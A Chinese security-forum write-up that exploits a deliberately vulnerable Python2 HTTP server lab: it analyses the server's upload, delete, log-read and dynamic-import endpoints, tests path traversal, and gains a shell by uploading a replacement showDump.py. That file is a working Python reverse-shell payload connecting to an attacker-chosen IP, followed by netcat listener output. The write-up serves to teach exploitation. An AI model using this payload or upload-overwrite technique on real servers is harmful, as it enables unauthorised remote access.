Directory Listing到获取服务器权限

b1ngz / 2017-12-22 13:25:52 / 浏览数 2910 技术文章 技术文章 顶(0) 踩(0)

0x 01 简介

最近扫描工具扫到一个 Directory Listing，通过分析目录下的文件代码，结合上传覆盖 python 文件和代码中的 "dynamic import"，获取到了服务器权限。文章没有什么高深的技术，个人觉得蛮有意思，整理了一下当时的利用过程，如有写不对或不准确的地方，欢迎大家指出

0x 02 环境搭建

因为涉及到漏洞，这里对代码做了一些脱敏和精简，环境使用 docker 搭建，代码文件在 github 上，运行以下命令启动环境

```
git clone https://github.com/b1ngz/vul-py-server.git
cd vul-py-server
# ■■
docker build -t vul-py-server .
# ■■
docker run -d --name=vul-py -p 127.0.0.1:30000:9080 vul-py-server
```

运行成功后，访问 http://127.0.0.1:30000/，可以看到有四个文件，分别是

- httpServer.py：当前server的代码，是一个 python2 的 SimpleHTTPServer，除了列出目录文件外，还有一些其它接口，后面会分析
- log.txt ：server 输出日志文件
- showDump.py：httpServer.py 中 import 到的文件
- upload.html：一个可以上传文件页面

0x 03 接口分析

这里主要分析一下 httpServer.py 中的接口功能，主要代码在 `MyHandler` 类中的 `do_GET` 和 `do_POST` 方法中

GET /reload

精简代码：

```
def do_GET(self):
        if self.path == '/reload':
            # ■■
            if self.restart_server_mutex.acquire(False):
                try:
                    fileObj = os.popen('sh %sbin/update_and_reload.sh 2>&1' % (server_path,))
                    # script■■■■■■■■■■
                finally:
                    self.restart_server_mutex.release()
            # ■■
```

访问接口会执行 server_path 的 bin 目录下的 `update_and_reload.sh` 脚本，并将执行结果输出到页面

GET /real_time_log?

精简代码：

```
def do_GET(self):
        #  ■■
        elif self.path.startswith('/real_time_log?'):
            logName = self.path.split('=')[1]
            # ■■
            finename = server_path + 'log/log.' + logName
            print finename
            fileobj = open(finename)
            if fileobj:
                fileobj.seek(0, 2)
                currSize = fileobj.tell()
                while True:
                    # ■■■■■
```

访问接口，代码会读取 server_path 的 log 目录下，以 `logName` 为后缀的 log文件内容，`logName` 的值为使用 = 分割 path 后的第一个元素，然后将文件内容输出到页面

GET /del_file_list?

精简代码：

```
def do_GET(self):
       elif self.path.startswith('/del_file_list?'):
           currpath = self.path[self.path.index("?") + 1:]
           # ■■
           f = self.wfile
           f.write("<html>\n<title>■■■■: %s</title>\n" % (currpath,))
           f.write("<body>")
           if currpath:
               f.write('<p><a href="/del_file_list?%s">■■</a></p>' % (os.path.dirname(currpath)))
           # WorkDir ■ os.path.split(os.path.realpath(__file__))[0]
           absCurrPath = os.path.join(WorkDir, currpath)
           absCurrPath = os.path.realpath(absCurrPath)
           itemlist = os.listdir(absCurrPath)
           for item in itemlist:
               thispath = os.path.join(currpath, item)
               if os.path.isdir(thispath):
                   f.write('<p><a href="/del_file_list?%s">■■   %s</a> <a href="/del_file?%s">■■■■</a></p>' % (
                       thispath, item, thispath))
               else:
                   f.write('<p><a href="/del_file?%s">■■   %s</a></p>' % (thispath, item))
           # ■■
```

取 path 中？之后的部分，列出目录下的文件，若是目录则显示进入和删除目录链接，若是文件，则显示删除链接

GET /del_file?

精简代码：

```
elif self.path.startswith('/del_file?'):
           currpath = self.path[self.path.index("?") + 1:]
           absCurrPath = os.path.join(WorkDir, currpath)
           absCurrPath = os.path.realpath(absCurrPath)
           try:
               if os.path.isdir(absCurrPath):
                   os.rmdir(absCurrPath)
               else:
                   os.remove(absCurrPath)
           except Exception, e:
               # ■■
```

取 path 中？之后的部分作为路径(目录或文件)，将其删除

GET /show_dump

精简代码：

```
elif self.path == '/show_dump':
   # ■■
   from showDump import show_dump
   show_dump('hello', 'world')
   # ■■
```

从 `showDump.py` 文件中 import 函数 `show_dump`，并调用执行

do_POST

精简代码：

```
def do_POST(self):
       # ■■
       filename = form['fname'].filename
       savename = None
```

```
        if 'newname' in form:
            savename = form['newname'].value
        if not savename:
            savename = filename

        path = self.translate_path(self.path)
        filepath = os.path.join(path, savename)
        dirpath = os.path.split(filepath)[0]
        if not os.path.exists(dirpath):
            os.makedirs(dirpath)
        savefile = open(filepath, 'wb')
        filedata = form['fname'].value
        savefile.write(filedata)
        savefile.close()
```

`upload.html` 对应的上传文件接口，使用 `os.path.join` `path` 和 `savename`，然后写入上传文件

0x 04 利用分析

先理一下环境和现有功能:

- 后端是一个 python2 的 SimpleHTTPServer
- `/reload` 接口能够执行 shell script，但执行的文件路径不可控
- `/real_time_log?` 接口能够读取文件内容，路径部分可控
- `/del_file_list?` 能够列出目录下的文件，但无法看到内容
- `/del_file?` 能够删除目录和文件
- `upload.html` 能够上传文件，上传目录和文件名都可控
- `/show_dump` 从另一个py文件中 import 函数，并执行

因为无法通过直接上传python文件，然后访问url来执行代码，所以需要通过其它方式，这里列举一些当时想到的方式

覆盖shell文件

`/reload` 接口中，虽然执行的shell文件路径不可控，但 `upload.html` 可以上传文件，且路径完全可控，可以尝试通过覆盖 shell 文件，再访问 `/reload` 接口来执行自己的 shell 脚本

But，经过尝试后，无法成功，查看 `log.txt` 中会有如下错误

```
File "httpServer.py", line 328, in do_POST
   savefile = open(filepath, 'wb')
IOError: [Errno 13] Permission denied: '/home/dev/bin/update_and_reload.sh'
```

因为当前用户是`www`，而 `update_and_reload.sh` 是在 `/home/dev/bin/`（`server_path` 值为 `/home/dev/`）下，属于 `dev` 用户，`www` 用户没有写权限，所以无法成功

读取文件内容

`/real_time_log?` 接口中，读取文件的后缀是可控的，是否可以通过相对路径（`../`）的方式来进入其他目录？

```
filename = server_path + 'log/log.' + logName
```

But，经过尝试后，使用 `../` 的方式在这里是不行的，因为 `../` 之前的路径必须是目录，且每一个目录都需要存在，可能说的有点不好理解

首先看一下文件目录

```
root@3f49cb7fb19d:/home/www/code# ls -lh /home/dev/log/
total 8.0K
-rw-r--r-- 1 dev dev 14 Dec 19 11:02 log.g1
-rw-r--r-- 1 dev dev 15 Dec 19 15:32 log.s2
```

再来看几个例子，应该就能理解了

例一：`log.` 目录不存在

```
server_path = '/home/dev/'
logName = '/../../../../../etc/hosts'
filename = server_path + 'log/log.' + logName
open(filename)
```

```
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
IOError: [Errno 2] No such file or directory:'/home/dev/log/log./../../../../../etc/hosts'
```

例二：log.g1 文件存在，但不是目录

```
server_path = '/home/dev/'
logName = 'g1/../../../../../../etc/hosts'
filename = server_path + 'log/log.' + logName
open(filename)

Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
IOError: [Errno 20] Not a directory: '/home/dev/log/log.g1/../../../../../../etc/hosts'
```

例三：成功

```
server_path = '/home/dev/'
logName = '../../../../../etc/hosts'
filename = server_path + 'log/' + logName
open(filename)

<open file '/home/dev/log/../../../../../etc/hosts', mode 'r' at 0x7f82f4cfa660>
```

那么有没办法创建 log.xxx 目录呢？

目录是在 /home/dev 下，没有写权限…

还有就是即使这里可以使用 ../ 的方式，细看一下代码，发现是以 tail -f -n 0
的方式读取文件内容，然后输出到页面，所以只能读取到新写入的文件内容。

覆盖py文件

如果是修改 httpServer.py ，然后上传覆盖原有文件呢？

But，并不行，因为代码已经载入内存了，要想让修改后的新代码生效，需要重启 server。

想到覆盖文件，之前 /show_dump 接口中会从 showDump.py 文件 import 函数并执行，与顶层import 的只载入一次不同，这里每次访问接口都会重新从 showDump.py 文件中 import show_dump 函数，也就是说，我们可以通过上传覆盖这个文件，只要保持 show_dump
函数的定义不变，函数内可以执行我们任意的 python代码

```
from showDump import show_dump
show_dump('hello', 'world')
```

反弹 POC

```
# -*- coding: utf-8 -*-
import os
import socket
import subprocess

ip = "your ip"
port = 12345


def show_dump(dumpWorkDir, dumpfile):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
   s.connect((ip, 12345));
   os.dup2(s.fileno(), 0);
   os.dup2(s.fileno(), 1);
   os.dup2(s.fileno(), 2);
   p = subprocess.call(["/bin/sh", "-i"]);
```

将上述文件保存，然后通过 upload.html 上传，新文件名填写 showDump.py，然后访问 /show_dump 接口

测试成功

```
➜  nc -v -l 12345
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
```

```
$ ls -lh /home/www/code
total 44K
-rwxr-xr-x 1 www www  13K Dec 19 14:22 httpServer.py
-rw-r--r-- 1 www www  276 Dec 20 02:41 log.txt
-rwxr-xr-x 1 www www  356 Dec 20 02:40 showDump.py
-rwxr-xr-x 1 www www  487 Dec 19 10:12 upload.html
```


上一篇：求推荐，nessus和nexpos... 下一篇：Pentest WiKi Part...

1. 3 条回复

answer 2017-12-25 10:26:51

真的很棒啊，学习了

0 回复Ta

纸飞机 2017-12-25 11:34:25

[root@localhost vul-py-server]# docker build -t vul-py-server .
Sending build context to Docker daemon 133.7 MB
Sending build context to Docker daemon
Step 0 : FROM python:2.7.14
Pulling repository python
Get https://index.docker.io/v1/repositories/library/python/images: dial tcp 54.236.81.192:443: connection refused
[root@localhost vul-py-server]#

楼主 这个问题怎么解决啊？

0 回复Ta

b1ngz 2017-12-25 22:57:02

@1866897316986480 国内网络原因，可以的话换个国外服务器把

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板